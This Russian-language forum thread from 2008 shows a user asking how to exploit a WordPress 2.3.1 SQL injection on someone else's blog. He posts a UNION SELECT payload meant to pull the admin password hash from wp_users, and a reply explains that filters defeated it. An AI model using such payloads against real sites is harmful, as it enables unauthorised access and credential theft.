SQL Inj (wp)

Discussion in 'Песочница' started by n0mie, 28 May 2008.

  1. n0mie

    n0mie New Member

    Joined:
    28 May 2008
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Приветствую!

    Есть блог на wp 2.3.1. Насколько я понимаю, подвержен вот этому http://securityvulns.ru/Sdocument563.html, при попытке использовать выдаёт


    WordPress database error: [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'AND comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 10' at line 1]
    SELECT wp_comments.* FROM wp_comments WHERE comment_post_ID = AND comment_approved = '1' ORDER BY comment_date_gmt DESC LIMIT 10

    Warning: Cannot modify header information - headers already sent by (output started at /mnt/web6/30/81/5488681/htdocs/blog/wp-includes/wp-db.php:159) in /mnt/web6/30/81/5488681/htdocs/blog/wp-includes/feed-rss2-comments.php on line 2
    Alles УМber die Computerschule Niederrad! Tue, 27 May 2008 21:05:55 +0000 http://wordpress.org/?v=2.3.1

    В данном случае нельзя испольовать sql inj или просто руки у меня не из того места растут? Если последннее, то буду благодарен за разъяснения, каким образом я могу использовать данную уязвимость.

    спасибо.
     
  2. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    Дай ссылку ту, что ты в браузер вставляешь...
     
  3. n0mie

    n0mie New Member

    Joined:
    28 May 2008
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    http://www.xxxxx.de/blog/?feed=rss2&p=100/**/union/**/select/**/concat(user_password,char(100),username),2/**/from/**/wp_users/**/where/**/user_id=1/*

    сам домен в личку скинул
     
  4. Mr.Jobson

    Mr.Jobson New Member

    Joined:
    9 Aug 2007
    Messages:
    0
    Likes Received:
    2
    Reputations:
    0
    не работает потому, что нет инъекции.
    Ваша воображаемая инъекция была съедена фильтрами. Таким образом до запроса дошла пустая строка(номер поста не был найден) и получилось вот что: "comment_post_ID =(СМОТРЕТЬ СЮДА) AND comment_approved"
    Просто невалидный запрос. Кстати его можно вызвать и без кавычек с тем же успехом - ?feed=rss2&p=-1

    Кстати почитать можно еще тут http://trac.wordpress.org/ticket/5185
     
    #4 Mr.Jobson, 29 May 2008
    Last edited: 30 May 2008
    1 person likes this.